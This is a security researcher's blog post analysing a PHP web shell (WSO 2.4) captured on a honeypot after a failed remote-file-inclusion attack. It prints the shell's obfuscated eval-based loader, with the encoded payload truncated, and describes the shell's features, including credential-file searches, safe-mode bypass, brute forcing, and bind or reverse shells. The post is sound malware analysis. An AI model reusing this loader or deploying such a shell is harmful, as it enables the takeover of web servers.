Shell Collecting
Running a honeypot has turned me into a bit of a “collector.”
I collect all sorts of interesting things that the bad guys of the Internet happen to leave lying around on systems they think they’ve 0wned.
Over the years, I’ve collected LOTS of malware… so, generally speaking, you probably don’t want to piss me off and then give me access to your computer.
Some of the most interesting “collectibles” I’ve managed to acquire are the tools used by attackers to ply their “trade.” As software goes, they range quite a bit in sophistication - from half-baked scripts that are destined to fail a majority of the time, all the way up to incredibly sophisticated “point-n-click” toyz that have been through hundreds of versions and incremental changes over the years.
Today, I’m going to show you one of the more interesting tools I’ve found. I’ve seen it before, but never really took the time to dig into it and see exactly what makes it tick… so how about if we take a look?
Some incredibly giving individual attempted to 0wn my webserver through a remote file inclusion attack. While the attack unfortunately failed for him… guffaw… I ended up with a copy of the file he was attempting to use.
Known as “Web Shell by orb” (or “WSO” for short…) I was gifted with a copy of version 2.4 (I did a little digging and found that it is an older version - apparently there’s much newer versions out there - v3.1 - but I suppose I shouldn’t look a gift horse in the mouth…)
It arrived as a wonderfully ugly, obfuscated 42,637 byte PHP file that was, essentially, just 6 lines long. Before doing anything else, I “beautified” the code a bit… and it ended up looking like this:
<?php
if (preg_match('!MIDP|WAP|Windows.CE|PPC|Series60|Opera.Mini|Mobile|Symbian|Android!i', $_SERVER['HTTP_USER_AGENT']) || !preg_match('!windows.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|ipad|iphone|libwww|msn|fdm|maui|webmoney!i', $_SERVER['HTTP_USER_AGENT'])) {
}
if (!function_exists("TC9A16C47DA8EEE87")) {
function TC9A16C47DA8EEE87($T059EC46CFE335260)
{
$T059EC46CFE335260 = base64_decode($T059EC46CFE335260);
$TC9A16C47DA8EEE87 = 0;
$TA7FB8B0A1C0E2E9E = 0;
$T17D35BB9DF7A47E4 = 0;
$T65CE9F6823D588A7 = (ord($T059EC46CFE335260[1]) << 8) + ord($T059EC46CFE335260[2]);
$TBF14159DC7D007D3 = 3;
$T77605D5F26DD5248 = 0;
$T4A747C3263CA7A55 = 16;
$T7C7E72B89B83E235 = "";
$T0D47BDF6FD9DDE2E = strlen($T059EC46CFE335260);
$T43D5686285035C13 = __FILE__;
$T43D5686285035C13 = file_get_contents($T43D5686285035C13);
$T6BBC58A3B5B11DC4 = 0;
preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv") , $T43D5686285035C13, $T6BBC58A3B5B11DC4);
for (; $TBF14159DC7D007D3 < $T0D47BDF6FD9DDE2E;) {
if (count($T6BBC58A3B5B11DC4)) exit;
if ($T4A747C3263CA7A55 == 0) {
$T65CE9F6823D588A7 = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 8);
$T65CE9F6823D588A7+= ord($T059EC46CFE335260[$TBF14159DC7D007D3++]);
$T4A747C3263CA7A55 = 16;
}
if ($T65CE9F6823D588A7 & 0x8000) {
$TC9A16C47DA8EEE87 = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 4);
$TC9A16C47DA8EEE87+= (ord($T059EC46CFE335260[$TBF14159DC7D007D3]) >> 4);
if ($TC9A16C47DA8EEE87) {
$TA7FB8B0A1C0E2E9E = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) & 0x0F) + 3;
for ($T17D35BB9DF7A47E4 = 0; $T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E; $T17D35BB9DF7A47E4++) $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4] = $T7C7E72B89B83E235[$T77605D5F26DD5248 - $TC9A16C47DA8EEE87 + $T17D35BB9DF7A47E4];
$T77605D5F26DD5248+= $TA7FB8B0A1C0E2E9E;
}
else {
$TA7FB8B0A1C0E2E9E = (ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) << 8);
$TA7FB8B0A1C0E2E9E+= ord($T059EC46CFE335260[$TBF14159DC7D007D3++]) + 16;
for ($T17D35BB9DF7A47E4 = 0; $T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E; $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4++] = $T059EC46CFE335260[$TBF14159DC7D007D3]);
$TBF14159DC7D007D3++;
$T77605D5F26DD5248+= $TA7FB8B0A1C0E2E9E;
}
}
else $T7C7E72B89B83E235[$T77605D5F26DD5248++] = $T059EC46CFE335260[$TBF14159DC7D007D3++];
$T65CE9F6823D588A7 <<= 1;
$T4A747C3263CA7A55--;
if ($TBF14159DC7D007D3 == $T0D47BDF6FD9DDE2E) {
$T43D5686285035C13 = implode("", $T7C7E72B89B83E235);
$T43D5686285035C13 = "?" . ">" . $T43D5686285035C13;
return $T43D5686285035C13;
}
}
}
}
eval(TC9A16C47DA8EEE87("QAIAPD9waHAgABEkY2...[approximately 40,000 characters]...QF8MISgnAr8CsQkgSFB0AHA/Pg==")); ?>
I’ve “edited out” a whole chunk of the parameter passed in the final function call, but, you get the idea… even “beautified,” it’s pretty ugly.
I’m not the kind of person who likes having things hidden from me, so I decided to take a little time and see if I could de-obfuscate the code a bit… at least enough to, hopefully, see what was really going on here. That meant that I needed to decode that big ol’ encoded parameter.
Now… the way that I did this isn’t something that I recommend. In fact, I strongly recommend that you NOT do this. I’ve been pulling this kind of dumbass stunt for many years and I’ve only gotten away with it because - for the most part - I actually do know what I’m doing. I take precautions:
- Working in a “snapshotted” virtual machine
- Keeping my work environment isolated from:
- My local network
- The Internet
- Monitoring everything
Remember: Even if you do all that, you can still end up shooting yourself in the foot…
Oh… it also helps if you know something about programming…
To begin, I decided to take a look at the code itself and do a little judicious “editing”… replacing some of the funky variable names with something that made more sense. I wanted to see if I could figure out a little about what was going on in the code, so I could, perhaps, write something to decode that long encoded string. After a few minutes of editing, the code looked like this:
<?php
if (preg_match('!MIDP|WAP|Windows.CE|PPC|Series60|Opera.Mini|Mobile|Symbian|Android!i', $_SERVER['HTTP_USER_AGENT']) || !preg_match('!windows.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|ipad|iphone|libwww|msn|fdm|maui|webmoney!i', $_SERVER['HTTP_USER_AGENT'])) {
}
if (!function_exists("TC9A16C47DA8EEE87")) {
function TC9A16C47DA8EEE87($input)
{
$input = base64_decode($input);
$TC9A16C47DA8EEE87 = 0;
$TA7FB8B0A1C0E2E9E = 0;
$T17D35BB9DF7A47E4 = 0;
$T65CE9F6823D588A7 = (ord($input[1]) << 8) + ord($input[2]);
$TBF14159DC7D007D3 = 3;
$T77605D5F26DD5248 = 0;
$T4A747C3263CA7A55 = 16;
$T7C7E72B89B83E235 = "";
$input_length = strlen($input);
#$file_contents = __FILE__;
$file_contents = file_get_contents("<original filename>");
$T6BBC58A3B5B11DC4 = 0;
#preg_match("/(print|sprint|echo)/" , $file_contents, $T6BBC58A3B5B11DC4);
for (; $TBF14159DC7D007D3 < $input_length;) {
#if (count($T6BBC58A3B5B11DC4)) exit;
if ($T4A747C3263CA7A55 == 0) {
$T65CE9F6823D588A7 = (ord($input[$TBF14159DC7D007D3++]) << 8);
$T65CE9F6823D588A7 += ord($input[$TBF14159DC7D007D3++]);
$T4A747C3263CA7A55 = 16;
}
if ($T65CE9F6823D588A7 & 0x8000) {
$TC9A16C47DA8EEE87 = (ord($input[$TBF14159DC7D007D3++]) << 4);
$TC9A16C47DA8EEE87 += (ord($input[$TBF14159DC7D007D3]) >> 4);
if ($TC9A16C47DA8EEE87) {
$TA7FB8B0A1C0E2E9E = (ord($input[$TBF14159DC7D007D3++]) & 0x0F) + 3;
for ($T17D35BB9DF7A47E4 = 0; $T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E; $T17D35BB9DF7A47E4++) $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4] = $T7C7E72B89B83E235[$T77605D5F26DD5248 - $TC9A16C47DA8EEE87 + $T17D35BB9DF7A47E4];
$T77605D5F26DD5248 += $TA7FB8B0A1C0E2E9E;
}
else {
$TA7FB8B0A1C0E2E9E = (ord($input[$TBF14159DC7D007D3++]) << 8);
$TA7FB8B0A1C0E2E9E += ord($input[$TBF14159DC7D007D3++]) + 16;
for ($T17D35BB9DF7A47E4 = 0; $T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E; $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4++] = $input[$TBF14159DC7D007D3]);
$TBF14159DC7D007D3++;
$T77605D5F26DD5248 += $TA7FB8B0A1C0E2E9E;
}
}
else $T7C7E72B89B83E235[$T77605D5F26DD5248++] = $input[$TBF14159DC7D007D3++];
$T65CE9F6823D588A7 <<= 1;
$T4A747C3263CA7A55--;
if ($TBF14159DC7D007D3 == $input_length) {
$file_contents = implode("", $T7C7E72B89B83E235);
$file_contents = "?" . ">" . $file_contents;
return $file_contents;
}
}
}
}
print(TC9A16C47DA8EEE87("QAIAPD9waHAgABEkY2...[approximately 40,000 characters]...QF8MISgnAr8CsQkgSFB0AHA/Pg==")); ?>
As I looked at the code, I realized that they were trying some… well… really crappy de-obfuscation protection stuff, that was trivial to bypass:
- I commented out the stuff that checked to see if I had altered the code by adding “print,” “sprint,” or “echo” commands
- I fixed it so it opened the original, unaltered file with file_get_contents()
- I changed the “eval()” function to “print()” (take that, silly hackerz…)
A quick review of the remaining variables shows that they all represent, essentially, integer values. The only non-integer variables ($T7C7E72B89B83E235, $input, and $file_contents) appeared to never be used in a context where they could, potentially, execute code, so I decided to junk the idea of writing my own “decoding” tool and… well… do something that I never recommend you do: I felt pretty confident that I could just run the altered script without it having any malicious side-effects. So I did just that.
It dumped out an enormous mess of - once again - ugly code. I “beautified” that, and I was going to include it in this post, but it’s kinda enormous and makes the page a bit unwieldy. If you’re really interested, you can download the “final” version of the decoded PHP here. (Note: I’ve ever-so-subtly altered the code in a few places so it can’t be used as an RFI from my site… so… don’t try that, stupid hackerz, mmmkay?)
From the code, WSO appears to be a very powerful remote “administration” tool, giving the attacker the ability to perform dozens of sysadmin-type functions, from managing files to having direct “command” access on the box…
After perusing the code for a bit, I decided that I wanted to see WSO in action. I moved the file onto an isolated VM with Apache + PHP installed to give it a try. (I thought it would be easier to ‘sploit myself than it turned out to be. When I set up the server, I had configured PHP to be secure… or as secure as PHP can be. I tried, and failed, to launch WSO by creating a PHP page that was vulnerable to RFI using http://localhost/attack.php
as my target, only to find that my PHP settings prohibited using a URI in an include (allow_url_include = False
). I considered monkeying with the settings but decided that I really just wanted to get it running, and that the “realism” of whatever mechanism I used to launch it didn’t really matter. However, the lesson here is that the allow_url_include
setting is an incredibly important security “backstop.”
The shell can run under Windows or Linux, but appears to have a much greater functionality under Linux.
As configured, WSO defaults to using the “Files” tool. With this full featured file manager, an attacker can do the standard copy, move, and delete as well as edit, compress, uncompress, chmod, chown, touch, rename, and view files as hex or - for code - with syntax highlighting. WSO also has built-in functionality allowing it to search for suid/sgid files, writable files/directories, .htpasswd, .bash_history, various config files, .sql files, etc…, etc…
The Sec. Info
function tells you all about various security settings on the system (Apache modules, disabled PHP functions, etc…) as well as information about what installed programs could be a problem and what installed programs could be helpful.
The Console
function does pretty much what you would expect: gives you access to an interactive console complete with ajaxy goodness.
The Sql
function gives you a full SQL browser complete with support for both MySQL and PostgreSql.
The Php
function provides a PHP execution environment that is - again - full of ajaxy goodness.
The Safe mode
function provides tools for bypassing PHP’s “Safe Mode” - all of which appear to work quite well…
Because you never know when you’re gonna want to lay down your text in multiple formats, the String Tools
function gives you the ability to do Base64 encode/decode, Url encode/decode, md5 hash, sha1 hash, CRC32, crypt, etc…, etc…
The Bruteforce
function provides an FTP, MySQL, and PostgreSQL brute forcer. Just upload your dictionary, point it somewhere, and let ‘er rip.
If you’re tired of doing your attack through the browser, why not try the Network
function that lets you use built-in perl code to bind a shell to a port, or shovel a shell back to you?
And finally, if the jig is up and you need to beat a hasty retreat, just fire off the Self remove
function and it’ll be like nothin’ ever happened.
Overall, the WSO tool appears to be robust, powerful, and very well written and is a wonderful reminder of just how dangerous remote file inclusion vulnerabilities can be.
-TL
Tom Liston
Owner, Principal Consultant
Bad Wolf Security, LLC
Mastodon: @tliston@infosec.exchange
Twitter (yes, I know… X): @tliston
May 27, 2016